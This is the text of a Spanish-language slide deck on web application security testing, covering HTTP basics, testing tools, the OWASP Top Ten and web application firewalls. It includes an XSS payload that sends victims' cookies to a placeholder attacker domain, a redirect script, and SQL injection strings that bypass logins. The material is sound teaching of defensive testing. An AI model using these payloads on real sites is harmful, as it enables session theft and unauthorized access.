Testing de Seguridad de Aplicaciones Web

Anuncio
Testing de Seguridad de
Aplicaciones Web
Julio C. Ardita, CISM.
jardita@cybsec.com
16 de Noviembre de 2013
Coatzacoalcos - MEXICO
Testing de Seguridad de Aplicaciones Web
Temario
- Protocolo HTTP
- Herramientas de Testing Web.
- Vulnerabilidades más comunes
- Web Application Firewall
2
Testing de Seguridad de Aplicaciones Web
Protocolo HTTP
3
Testing de Seguridad de Aplicaciones Web
Arquitectura Web Física
4
Testing de Seguridad de Aplicaciones Web
Arquitectura Web Lógica
5
Testing de Seguridad de Aplicaciones Web
Características del Protocolo HTTP
HTTP/1.1 definido en RFC 2616
• Métodos: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE,
CONNECT
• Encabezado “Host”: indica el nombre del servidor al cual se le
realiza el pedido, permite que se utilicen hosts virtuales.
• Sin Estado.
• Conexiones TCP persistentes por defecto.
• Encabezado “Connection”: permite forzar el cierre de la conexión
una vez obtenida la respuesta.
• Dos tipos de mensajes: Request y Response.
6
Testing de Seguridad de Aplicaciones Web
Formato del Mensaje HTTP “REQUEST”
MÉTODO <ESPACIO> URI <ESPACIO> VERSIÓN <CRLF>
[ENCABEZADOS]
<CRLF>
[CUERPO DEL MENSAJE]
•
Métodos: , GET, HEAD o POST en HTTP/1.0. GET, HEAD, POST, OPTIONS,
PUT, DELETE, TRACE o CONNECT en HTTP/1.1.
•
Versión: HTTP/1.0 o HTTP/1.1
•
Los Encabezados pueden ser de tres tipos: general, de petición y/o de
entidad.
•
URI puede ser: *, URL absoluta, o PATH absoluto.
7
Testing de Seguridad de Aplicaciones Web
Métodos HTTP
•
OPTIONS: Métodos disponibles sobre el recurso especificado.
•
GET: Solicitud del recurso especificado.
•
HEAD: Encabezados del recurso especificado.
•
TRACE: Permite realizar debugging. El servidor responde con el mensaje de
solicitud como cuerpo del mensaje de respuesta.
•
POST: Permite enviar información al servidor.
•
PUT: Permite “subir” los datos al servidor para que sean accedidos a
través de la URI especificada.
•
DELETE: Eliminar el recurso indicado.
•
CONNECT: Se utiliza con un servidor Proxy que puede ser utilizado como
túnel.
8
Testing de Seguridad de Aplicaciones Web
Ejemplo de un Mensaje HTTP “REQUEST”
GET http://www.mibanco.com.ar/ HTTP/1.1
Host: www.mibanco.com.ar
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8)
Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) Paros/3.2.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,tex
t/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
9
Testing de Seguridad de Aplicaciones Web
Formato del Mensaje HTTP “RESPONSE”
VERSIÓN <ESPACIO> CÓDIGO_DE_ESTADO DESCRIP <CRLF>
[ENCABEZADOS]
<CRLF>
[CUERPO DEL MENSAJE]
•
Versión: HTTP/1.0 o HTTP/1.1
•
El ¨código de estado¨ es un número de tres dígitos que indica el estado de
la respuesta.
•
¨Descrip¨ es una breve frase que explica el código de estado.
•
Los Encabezados pueden ser de tres tipos: general, de respuesta y/o de
entidad.
10
Testing de Seguridad de Aplicaciones Web
Ejemplo de un Mensaje HTTP “RESPONSE”
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
X-Powered-By: ASP.NET
Content-Location: http://www.mibanco.com.ar/index.html
Date: Thu, 30 Jun 2005 09:33:33 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 28 Jun 2005 13:15:58 GMT
Content-Length: 577
<html>
<head>
<title>Mi.Banco - Pagina Principal</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
...
11
Testing de Seguridad de Aplicaciones Web
Códigos de Estado
•
Rango 1xx: Informativos, se recibió el pedido y se está procesando.
•
Rango 2xx: Pedido Exitoso, se recibió el pedido, se comprendió y se
acceptó.
•
Rango 3xx: Redirección, se debe realizar otro pedido para completar la
solicitud.
•
Rango 4xx: Error del Cliente, la solicitud está mal formulada o no se puede
llevar a cabo.
•
Rango 5xx: Error del Servidor, el servidor no pudo completar un solicitud
aparentemente válida.
12
Testing de Seguridad de Aplicaciones Web
Códigos de Estado – Algunos Ejemplos
• "200" OK: La solicitud fue exitosa.
• "301" Moved Permanently: Se le asignó una nueva URI al recurso.
• "302" Found: El recurso está accesible, temporalmente, en otra URI.
• "304" Not Modified: No se modificó el recurso desde que el cliente lo accedió.
• “400" Bad Request: Petición errónea.
• "401" Unauthorized: No está autorizado a acceder el recurso, se debe enviar
los encabezados de autenticación.
• "403" Forbidden: El servidor comprende la solicitud pero no va a permitir el
acceso al recurso.
• "404" Not Found: Recurso no encontrado.
• "405" Method Not Allowed: No se permite el uso del método sobre el recurso.
• "500" Internal Server Error: Error en el servidor al procesar el pedido.
• "505" HTTP Version not supported: versión HTTP no soportada.
13
Testing de Seguridad de Aplicaciones Web
Manejo de Sesión: Cookies
- Mecanismo para el manejo de estado en el protocolo HTTP.
- Se define en los RFC 2109, y RFC 2965 añade la versión 2.
- Define el encabezado Set-Cookie:
•Set-Cookie:
NAME=nombre;
Comment=comentario;
Domain=dominio;
Max-Age=delta-segundos; Path=path; Secure; Version=version
• Los campos NAME, y Version son los únicos requeridos.
• Domain: dominio para el cual la cookie es válida.
• Max-Age: tiempo de vida, en segundos, de la cookie.
• Path: especifica el subconjunto de URL’s para las que aplica la cookie.
• Secure: la cookie debe ser manejada de forma “segura” a definir por el
Navegador Web.
14
Testing de Seguridad de Aplicaciones Web
Herramientas de
Testing Web
15
Testing de Seguridad de Aplicaciones Web
Proxy Local: Burp
Un proxy local permite interceptar los pedidos del navegador y modificarlos.
(http://portswigger.net/burp/)
16
Testing de Seguridad de Aplicaciones Web
Scanner de Vulnerabilidades: Nikto
Un Scanner de vulnerabilidades analiza el servidor verificando problemas
comunes
de
configuración,
versiones
desactualizadas
o
vulnerables,
y
problemas de seguridad de distintos servidores y aplicaciones Web.
(http://www.cirt.net/code/nikto.shtml)
17
Testing de Seguridad de Aplicaciones Web
Scanner de Vulnerabilidades: N-Stealth
(www.nstalker.com)
18
Testing de Seguridad de Aplicaciones Web
Vulnerabilides más
comunes
19
Testing de Seguridad de Aplicaciones Web
OWASP – TOPTEN
Nr
Vulnerabilidad
A1
Cross Site Scripting (XSS)
Secuencia de Comandos en Sitios Cruzados
A2
Injection Flaws
Fallas de Inyección
A3
Malicious File Execution
Ejecución de ficheros malintencionados
A4
Insecure Direct Object Reference
Referencia Directa a Objetos Insegura
A5
Cross Site Request Forgery (CSRF)
Vulnerabilidad de Falsificación
Falsificaci n de Petición
Petici n en
Sitios Cruzados
A6
Information Leakage and Improper
Error Handling
Revelación de Información y gestión Incorrecta de
Errores
A7
Broken Authentication and Session
Management
Pérdida de Autenticación y Gestión de Errores
A8
Insecure Cryptographic Storage
Almacenamiento criptográfico inseguro
A9
Insecure Communications
Comunicaciones Inseguras
A10
Failure to Restrict URL Access
Falla de restricción de acceso a URL
http://www.owasp.org/
20
Testing de Seguridad de Aplicaciones Web
Cross-Site Scripting
Un ataque de Cross-Site Scripting consiste en la inclusión de un script en una
página Web que se ejecuta cuando la página es accedida por un usuario.
21
21
Testing de Seguridad de Aplicaciones Web
Cross-Site Scripting: ¿Qué se puede hacer?
Robo de Credenciales:
<script>document.location='http://www.atacante.com.ar/cgi-bin/cookie.cgi?'
+document.cookie</script>
El script anterior envía las cookies de quién lo ejecute.
Redirección de Cliente:
<script>document.location=¨http://www.sitiocompetencia.com.ar</script>
El script anterior redirecciona al usuario a el sitio especificado.
En resumen... ¡Lo que se pueda hacer con Javascript!
22
22
Testing de Seguridad de Aplicaciones Web
Cross-Site Scripting y Phishing
Ejemplo:
La URL es la del sitio, sin embargo se visualiza otro sitio a
través de una vulnerabilidad de XSS
23
23
Testing de Seguridad de Aplicaciones Web
Escalación de Privilegios y Manejo de Sesión
• Session Prediction: Las aplicaciones vulnerables generan credenciales de
autenticación predecibles; permitiendo deducir las credenciales de un usuario
autenticado o las que van a ser asignadas al próximo usuario que se
autentique.
• Ejemplo: La cookie asignada a cada usuario se realiza en forma
secuencial.
24
24
Testing de Seguridad de Aplicaciones Web
SQL Injection
Es una técnica cuyo objetivo es el de ¨inyectar¨ consultas SQL
arbitrarias en páginas vulnerables que interactúan con una Base de
Datos, logrando de esta forma obtener, modificar y/o eliminar
información sensible.
Atacando ciertos motores de Bases de Datos es posible, también,
lograr la ejecución de comandos del Sistema Operativo.
25
25
Testing de Seguridad de Aplicaciones Web
SQL Injection – Conceptos Básicos
26
26
Testing de Seguridad de Aplicaciones Web
SQL Injection – Demostración: Eludiendo Logins
SELECT * FROM Usuarios WHERE Username = ‘luis’
AND Password = ‘clave’
SELECT * FROM Usuarios WHERE Username = ‘’ OR 1=1--‘
AND Password = ‘aa’
SELECT * FROM Usuarios WHERE Username = ‘admin’--‘
AND Password = ‘aa’
27
27
Testing de Seguridad de Aplicaciones Web
Web Application
Firewall
28
Testing de Seguridad de Aplicaciones Web
¿ Qué es WAF ?
Una WAF es un Firewall de aplicaciones web que funciona a nivel de
la capa 7 del modelo OSI.
Nos permite frenar intentos de intrusión a nivel de aplicaciones web.
Existen varias soluciones:
- URLSCAN de Microsoft
- Mod_Secuity sobre Apache.
- Soluciones comerciales (CISCO, BlueCoat, F5, etc).
29
Testing de Seguridad de Aplicaciones Web
ModSecurity
• Módulo para el servidor Web Apache.
• Actúa como IDS entre el cliente y el
servidor Web; filtra los pedidos en base a
expresiones regulares.
• Nos permite filtrar por:
• El encabezado HTTP
• La URL
• El payload
• Las acciones permitidas son:
(www.modseurity.org)
• Logear el pedido
• Rechazar el pedido (permite especificar
el HTTP status de la respuesta)
• Redireccioner el pedido
• Dejar pasar el pedido
30
Testing de Seguridad de Aplicaciones Web
Modos de Operación del WAF
• Proxy Reverso: Se redirige el tráfico HTTP(S) para que pase a través del
WAF que está actuando como un proxy reverso. Es decir, recibe las peticiones
HTTP, las resuelve contra los servidores Web y, luego, las reenvía al cliente.
Esto le permite procesar los pedidos y las respuesta en busca de ataques o
resultados de los ataques.
31
Testing de Seguridad de Aplicaciones Web
Capacidades de Filtrado: ¿Qué puede ver?
El WAF puede actuar sobre las siguientes porciones de un pedido
HTTP y/o de una respuesta HTTP:
• Métodos
• Versión del protocolo
• Encabezados
MÉTODO <ESPACIO> URI <ESPACIO> VERSIÓN <CRLF>
[ENCABEZADOS]
<CRLF>
[CUERPO DEL MENSAJE]
• Cuerpo del mensaje
• URL
• Código de respuesta
• IP Origen
•…
VERSIÓN <ESPACIO> CÓDIGO_DE_ESTADO DESCRIP <CRLF>
[ENCABEZADOS]
<CRLF>
[CUERPO DEL MENSAJE]
32
Testing de Seguridad de Aplicaciones Web
Conclusiones
El área de testing de seguridad de aplicaciones web es muy amplio y
requiere de conocimientos de redes, bases de datos, sistemas
operativos y programación.
Se
detectan
vulnerabilidades
de
seguridad
en
el
70%
de
las
aplicaciones web que nosotros hemos evaluado.
Es una excelente área para investigar y desarrollarse.
33
Testing de Seguridad de
Aplicaciones Web
Julio C. Ardita, CISM.
jardita@cybsec.com
16 de Noviembre de 2013
Coatzacoalcos - MEXICO
Descargar